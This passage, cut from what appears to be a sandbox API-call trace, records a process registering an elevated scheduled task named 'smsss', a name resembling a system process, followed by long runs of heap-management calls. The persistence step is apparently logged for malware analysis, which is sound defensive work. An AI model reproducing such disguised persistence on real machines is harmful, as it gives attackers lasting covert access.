_Buffer="2023-09-19T17:17:00") returned 19 [0075.976] IRegistrationInfo:put_Date (This=0x1f7eb0, Date="") returned 0x0 [0075.976] IUnknown:Release (This=0x1f7eb0) returned 0x1 [0075.976] malloc (_Size=0x18) returned 0xcdf50 [0075.976] free (_Block=0xcdf50) [0075.976] lstrlenW (lpString="") returned 0 [0075.976] ITaskDefinition:get_Principal (in: This=0x1f7d70, ppPrincipal=0x29ced0 | out: ppPrincipal=0x29ced0*=0x1f6100) returned 0x0 [0075.976] IPrincipal:put_RunLevel (This=0x1f6100, RunLevel=1) returned 0x0 [0075.977] IUnknown:Release (This=0x1f6100) returned 0x1 [0075.977] malloc (_Size=0x18) returned 0xcdf50 [0075.977] ITaskFolder:RegisterTaskDefinition (in: This=0x1f7d20, Path="smsss", pDefinition=0x1f7d70, flags=6, UserId=0x29cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x29cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29ee60, varVal2=0xfe), LogonType=3, sddl=0x29cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x29ce70 | out: ppTask=0x29ce70*=0x1f6490) returned 0x0 [0076.273] free (_Block=0xcdf50) [0076.273] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.273] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0076.273] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0076.273] GetProcessHeap () returned 0x380000 [0076.273] GetProcessHeap () returned 0x380000 [0076.274] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d720) returned 1 [0076.274] GetProcessHeap () returned 0x380000 [0076.274] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d720) returned 0xc [0076.274] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d720 | out: hHeap=0x380000) returned 1 [0076.274] GetProcessHeap () returned 0x380000 [0076.274] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x82) returned 0x3b9b70 [0076.274] _vsnwprintf (in: _Buffer=0x29d5b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x29ce18 | out: _Buffer="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n") returned 67 [0076.274] _fileno (_File=0x7feffe22ab0) returned -2 [0076.274] _errno () returned 0x1f4bb0 [0076.274] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0076.274] SetLastError (dwErrCode=0x6) [0076.274] lstrlenW (lpString="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n") returned 67 [0076.274] GetConsoleOutputCP () returned 0x0 [0076.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0076.274] GetConsoleOutputCP () returned 0x0 [0076.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n", cchWideChar=67, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"smsss\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 67 [0076.275] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 67 [0076.275] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0076.275] IUnknown:Release (This=0x1f6490) returned 0x0 [0076.275] TaskScheduler:IUnknown:Release (This=0x1f7d70) returned 0x0 [0076.275] TaskScheduler:IUnknown:Release (This=0x1f7d20) returned 0x0 [0076.275] TaskScheduler:IUnknown:Release (This=0x1f7b60) returned 0x1 [0076.275] lstrlenW (lpString="") returned 0 [0076.275] lstrlenW (lpString="5") returned 1 [0076.275] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0076.275] GetProcessHeap () returned 0x380000 [0076.275] GetProcessHeap () returned 0x380000 [0076.275] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c470) returned 1 [0076.275] GetProcessHeap () returned 0x380000 [0076.275] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c470) returned 0x1fc [0076.276] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c470 | out: hHeap=0x380000) returned 1 [0076.276] GetProcessHeap () returned 0x380000 [0076.276] GetProcessHeap () returned 0x380000 [0076.276] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bab0) returned 1 [0076.276] GetProcessHeap () returned 0x380000 [0076.276] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bab0) returned 0x4 [0076.276] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bab0 | out: hHeap=0x380000) returned 1 [0076.276] GetProcessHeap () returned 0x380000 [0076.276] GetProcessHeap () returned 0x380000 [0076.276] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d640) returned 1 [0076.276] GetProcessHeap () returned 0x380000 [0076.276] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d640) returned 0x16 [0076.276] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d640 | out: hHeap=0x380000) returned 1 [0076.277] GetProcessHeap () returned 0x380000 [0076.277] GetProcessHeap () returned 0x380000 [0076.277] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d620) returned 1 [0076.277] GetProcessHeap () returned 0x380000 [0076.277] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d620) returned 0x18 [0076.277] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d620 | out: hHeap=0x380000) returned 1 [0076.277] GetProcessHeap () returned 0x380000 [0076.277] GetProcessHeap () returned 0x380000 [0076.277] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cef0) returned 1 [0076.277] GetProcessHeap () returned 0x380000 [0076.277] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cef0) returned 0x20 [0076.277] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cef0 | out: hHeap=0x380000) returned 1 [0076.277] GetProcessHeap () returned 0x380000 [0076.277] GetProcessHeap () returned 0x380000 [0076.278] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c110) returned 1 [0076.278] GetProcessHeap () returned 0x380000 [0076.278] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c110) returned 0xa0 [0076.278] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c110 | out: hHeap=0x380000) returned 1 [0076.278] GetProcessHeap () returned 0x380000 [0076.278] GetProcessHeap () returned 0x380000 [0076.278] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb90) returned 1 [0076.278] GetProcessHeap () returned 0x380000 [0076.278] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bb90) returned 0x18 [0076.278] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb90 | out: hHeap=0x380000) returned 1 [0076.278] GetProcessHeap () returned 0x380000 [0076.279] GetProcessHeap () returned 0x380000 [0076.279] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cc50) returned 1 [0076.279] GetProcessHeap () returned 0x380000 [0076.279] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cc50) returned 0x20 [0076.279] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cc50 | out: hHeap=0x380000) returned 1 [0076.279] GetProcessHeap () returned 0x380000 [0076.279] GetProcessHeap () returned 0x380000 [0076.279] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x397c40) returned 1 [0076.279] GetProcessHeap () returned 0x380000 [0076.279] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x397c40) returned 0x32 [0076.280] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x397c40 | out: hHeap=0x380000) returned 1 [0076.280] GetProcessHeap () returned 0x380000 [0076.280] GetProcessHeap () returned 0x380000 [0076.280] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d660) returned 1 [0076.280] GetProcessHeap () returned 0x380000 [0076.280] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d660) returned 0x18 [0076.280] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d660 | out: hHeap=0x380000) returned 1 [0076.280] GetProcessHeap () returned 0x380000 [0076.280] GetProcessHeap () returned 0x380000 [0076.280] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cc20) returned 1 [0076.280] GetProcessHeap () returned 0x380000 [0076.280] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cc20) returned 0x20 [0076.281] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cc20 | out: hHeap=0x380000) returned 1 [0076.281] GetProcessHeap () returned 0x380000 [0076.281] GetProcessHeap () returned 0x380000 [0076.281] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x397bc0) returned 1 [0076.281] GetProcessHeap () returned 0x380000 [0076.281] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x397bc0) returned 0x34 [0076.281] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x397bc0 | out: hHeap=0x380000) returned 1 [0076.281] GetProcessHeap () returned 0x380000 [0076.282] GetProcessHeap () returned 0x380000 [0076.282] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d600) returned 1 [0076.282] GetProcessHeap () returned 0x380000 [0076.282] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d600) returned 0x18 [0076.282] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d600 | out: hHeap=0x380000) returned 1 [0076.282] GetProcessHeap () returned 0x380000 [0076.282] GetProcessHeap () returned 0x380000 [0076.282] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cbf0) returned 1 [0076.282] GetProcessHeap () returned 0x380000 [0076.282] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cbf0) returned 0x20 [0076.282] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cbf0 | out: hHeap=0x380000) returned 1 [0076.282] GetProcessHeap () returned 0x380000 [0076.282] GetProcessHeap () returned 0x380000 [0076.282] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c450) returned 1 [0076.283] GetProcessHeap () returned 0x380000 [0076.283] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c450) returned 0xe [0076.283] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c450 | out: hHeap=0x380000) returned 1 [0076.283] GetProcessHeap () returned 0x380000 [0076.283] GetProcessHeap () returned 0x380000 [0076.283] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c430) returned 1 [0076.283] GetProcessHeap () returned 0x380000 [0076.283] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c430) returned 0x18 [0076.283] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c430 | out: hHeap=0x380000) returned 1 [0076.283] GetProcessHeap () returned 0x380000 [0076.283] GetProcessHeap () returned 0x380000 [0076.283] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395e10) returned 1 [0076.283] GetProcessHeap () returned 0x380000 [0076.283] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395e10) returned 0x20 [0076.283] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395e10 | out: hHeap=0x380000) returned 1 [0076.284] GetProcessHeap () returned 0x380000 [0076.284] GetProcessHeap () returned 0x380000 [0076.284] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bd10) returned 1 [0076.284] GetProcessHeap () returned 0x380000 [0076.284] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bd10) returned 0x208 [0076.284] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bd10 | out: hHeap=0x380000) returned 1 [0076.284] GetProcessHeap () returned 0x380000 [0076.284] GetProcessHeap () returned 0x380000 [0076.284] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb70) returned 1 [0076.284] GetProcessHeap () returned 0x380000 [0076.284] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bb70) returned 0x18 [0076.284] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bb70 | out: hHeap=0x380000) returned 1 [0076.284] GetProcessHeap () returned 0x380000 [0076.284] GetProcessHeap () returned 0x380000 [0076.284] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395d20) returned 1 [0076.285] GetProcessHeap () returned 0x380000 [0076.285] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395d20) returned 0x20 [0076.286] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395d20 | out: hHeap=0x380000) returned 1 [0076.286] GetProcessHeap () returned 0x380000 [0076.286] GetProcessHeap () returned 0x380000 [0076.286] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d3c0) returned 1 [0076.286] GetProcessHeap () returned 0x380000 [0076.286] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d3c0) returned 0x200 [0076.286] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d3c0 | out: hHeap=0x380000) returned 1 [0076.286] GetProcessHeap () returned 0x380000 [0076.286] GetProcessHeap () returned 0x380000 [0076.286] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39bbb0) returned 1 [0076.287] GetProcessHeap () returned 0x380000 [0076.287] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39bbb0) returned 0x18 [0076.287] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39bbb0 | out: hHeap=0x380000) returned 1 [0076.287] GetProcessHeap () returned 0x380000 [0076.287] GetProcessHeap () returned 0x380000 [0076.287] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395c90) returned 1 [0076.287] GetProcessHeap () returned 0x380000 [0076.287] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395c90) returned 0x20 [0076.287] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395c90 | out: hHeap=0x380000) returned 1 [0076.287] GetProcessHeap () returned 0x380000 [0076.287] GetProcessHeap () returned 0x380000 [0076.287] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c320) returned 1 [0076.287] GetProcessHeap () returned 0x380000 [0076.287] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c320) returned 0x14 [0076.288] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c320 | out: hHeap=0x380000) returned 1 [0076.288] GetProcessHeap () returned 0x380000 [0076.288] GetProcessHeap () returned 0x380000 [0076.288] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c300) returned 1 [0076.288] GetProcessHeap () returned 0x380000 [0076.288] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c300) returned 0x18 [0076.288] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c300 | out: hHeap=0x380000) returned 1 [0076.288] GetProcessHeap () returned 0x380000 [0076.288] GetProcessHeap () returned 0x380000 [0076.288] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395bd0) returned 1 [0076.288] GetProcessHeap () returned 0x380000 [0076.288] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395bd0) returned 0x20 [0076.288] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395bd0 | out: hHeap=0x380000) returned 1 [0076.288] GetProcessHeap () returned 0x380000 [0076.289] GetProcessHeap () returned 0x380000 [0076.289] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c340) returned 1 [0076.289] GetProcessHeap () returned 0x380000 [0076.289] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c340) returned 0x16 [0076.289] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c340 | out: hHeap=0x380000) returned 1 [0076.289] GetProcessHeap () returned 0x380000 [0076.289] GetProcessHeap () returned 0x380000 [0076.289] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c1c0) returned 1 [0076.289] GetProcessHeap () returned 0x380000 [0076.289] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c1c0) returned 0x18 [0076.289] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c1c0 | out: hHeap=0x380000) returned 1 [0076.289] GetProcessHeap () returned 0x380000 [0076.289] GetProcessHeap () returned 0x380000 [0076.289] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395ba0) returned 1 [0076.289] GetProcessHeap () returned 0x380000 [0076.289] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395ba0) returned 0x20 [0076.290] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395ba0 | out: hHeap=0x380000) returned 1 [0076.290] GetProcessHeap () returned 0x380000 [0076.290] GetProcessHeap () returned 0x380000 [0076.290] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39baf0) returned 1 [0076.290] GetProcessHeap () returned 0x380000 [0076.290] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39baf0) returned 0x2 [0076.290] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39baf0 | out: hHeap=0x380000) returned 1 [0076.290] GetProcessHeap () returned 0x380000 [0076.290] GetProcessHeap () returned 0x380000 [0076.290] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x3959f0) returned 1 [0076.290] GetProcessHeap () returned 0x380000 [0076.290] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x3959f0) returned 0x20 [0076.291] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x3959f0 | out: hHeap=0x380000) returned 1 [0076.291] GetProcessHeap () returned 0x380000 [0076.291] GetProcessHeap () returned 0x380000 [0076.291] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395a20) returned 1 [0076.291] GetProcessHeap () returned 0x380000 [0076.291] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395a20) returned 0x20 [0076.292] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395a20 | out: hHeap=0x380000) returned 1 [0076.292] GetProcessHeap () returned 0x380000 [0076.292] GetProcessHeap () returned 0x380000 [0076.292] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395a50) returned 1 [0076.292] GetProcessHeap () returned 0x380000 [0076.292] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395a50) returned 0x20 [0076.293] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395a50 | out: hHeap=0x380000) returned 1 [0076.293] GetProcessHeap () returned 0x380000 [0076.293] GetProcessHeap () returned 0x380000 [0076.293] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x395a80) returned 1 [0076.293] GetProcessHeap () returned 0x380000 [0076.293] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x395a80) returned 0x20 [0076.293] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x395a80 | out: hHeap=0x380000) returned 1 [0076.293] GetProcessHeap () returned 0x380000 [0076.293] GetProcessHeap () returned 0x380000 [0076.293] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cc80) returned 1 [0076.293] GetProcessHeap () returned 0x380000 [0076.293] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cc80) returned 0x20 [0076.294] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cc80 | out: hHeap=0x380000) returned 1 [0076.294] GetProcessHeap () returned 0x380000 [0076.294] GetProcessHeap () returned 0x380000 [0076.294] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d760) returned 1 [0076.294] GetProcessHeap () returned 0x380000 [0076.294] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d760) returned 0xa [0076.294] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d760 | out: hHeap=0x380000) returned 1 [0076.294] GetProcessHeap () returned 0x380000 [0076.294] GetProcessHeap () returned 0x380000 [0076.294] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ccb0) returned 1 [0076.294] GetProcessHeap () returned 0x380000 [0076.294] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ccb0) returned 0x20 [0076.295] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ccb0 | out: hHeap=0x380000) returned 1 [0076.295] GetProcessHeap () returned 0x380000 [0076.295] GetProcessHeap () returned 0x380000 [0076.295] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x397b80) returned 1 [0076.295] GetProcessHeap () returned 0x380000 [0076.295] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x397b80) returned 0x30 [0076.296] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x397b80 | out: hHeap=0x380000) returned 1 [0076.296] GetProcessHeap () returned 0x380000 [0076.296] GetProcessHeap () returned 0x380000 [0076.296] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cce0) returned 1 [0076.296] GetProcessHeap () returned 0x380000 [0076.296] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cce0) returned 0x20 [0076.296] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cce0 | out: hHeap=0x380000) returned 1 [0076.296] GetProcessHeap () returned 0x380000 [0076.296] GetProcessHeap () returned 0x380000 [0076.296] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x397c00) returned 1 [0076.296] GetProcessHeap () returned 0x380000 [0076.296] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x397c00) returned 0x30 [0076.297] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x397c00 | out: hHeap=0x380000) returned 1 [0076.297] GetProcessHeap () returned 0x380000 [0076.297] GetProcessHeap () returned 0x380000 [0076.297] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cec0) returned 1 [0076.297] GetProcessHeap () returned 0x380000 [0076.297] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cec0) returned 0x20 [0076.298] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cec0 | out: hHeap=0x380000) returned 1 [0076.298] GetProcessHeap () returned 0x380000 [0076.298] GetProcessHeap () returned 0x380000 [0076.298] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d680) returned 1 [0076.298] GetProcessHeap () returned 0x380000 [0076.298] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d680) returned 0x10 [0076.298] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d680 | out: hHeap=0x380000) returned 1 [0076.298] GetProcessHeap () returned 0x380000 [0076.298] GetProcessHeap () returned 0x380000 [0076.298] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce90) returned 1 [0076.298] GetProcessHeap () returned 0x380000 [0076.298] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ce90) returned 0x20 [0076.299] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce90 | out: hHeap=0x380000) returned 1 [0076.299] GetProcessHeap () returned 0x380000 [0076.299] GetProcessHeap () returned 0x380000 [0076.299] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d6a0) returned 1 [0076.299] GetProcessHeap () returned 0x380000 [0076.299] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d6a0) returned 0x10 [0076.299] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d6a0 | out: hHeap=0x380000) returned 1 [0076.299] GetProcessHeap () returned 0x380000 [0076.299] GetProcessHeap () returned 0x380000 [0076.299] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce60) returned 1 [0076.299] GetProcessHeap () returned 0x380000 [0076.299] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ce60) returned 0x20 [0076.299] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce60 | out: hHeap=0x380000) returned 1 [0076.299] GetProcessHeap () returned 0x380000 [0076.299] GetProcessHeap () returned 0x380000 [0076.299] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d6c0) returned 1 [0076.299] GetProcessHeap () returned 0x380000 [0076.300] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d6c0) returned 0xe [0076.300] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d6c0 | out: hHeap=0x380000) returned 1 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce30) returned 1 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ce30) returned 0x20 [0076.300] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce30 | out: hHeap=0x380000) returned 1 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d6e0) returned 1 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d6e0) returned 0x16 [0076.300] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d6e0 | out: hHeap=0x380000) returned 1 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce00) returned 1 [0076.300] GetProcessHeap () returned 0x380000 [0076.300] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39ce00) returned 0x20 [0076.301] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39ce00 | out: hHeap=0x380000) returned 1 [0076.301] GetProcessHeap () returned 0x380000 [0076.301] GetProcessHeap () returned 0x380000 [0076.301] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39d700) returned 1 [0076.301] GetProcessHeap () returned 0x380000 [0076.301] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39d700) returned 0x16 [0076.301] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39d700 | out: hHeap=0x380000) returned 1 [0076.301] GetProcessHeap () returned 0x380000 [0076.301] GetProcessHeap () returned 0x380000 [0076.301] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cdd0) returned 1 [0076.301] GetProcessHeap () returned 0x380000 [0076.301] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39cdd0) returned 0x20 [0076.302] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39cdd0 | out: hHeap=0x380000) returned 1 [0076.302] GetProcessHeap () returned 0x380000 [0076.302] GetProcessHeap () returned 0x380000 [0076.302] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x3b9b70) returned 1 [0076.302] GetProcessHeap () returned 0x380000 [0076.302] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x3b9b70) returned 0x82 [0076.303] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x3b9b70 | out: hHeap=0x380000) returned 1 [0076.303] GetProcessHeap () returned 0x380000 [0076.303] GetProcessHeap () returned 0x380000 [0076.303] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39cda0) returned 1 [0076.303] GetProcessHeap 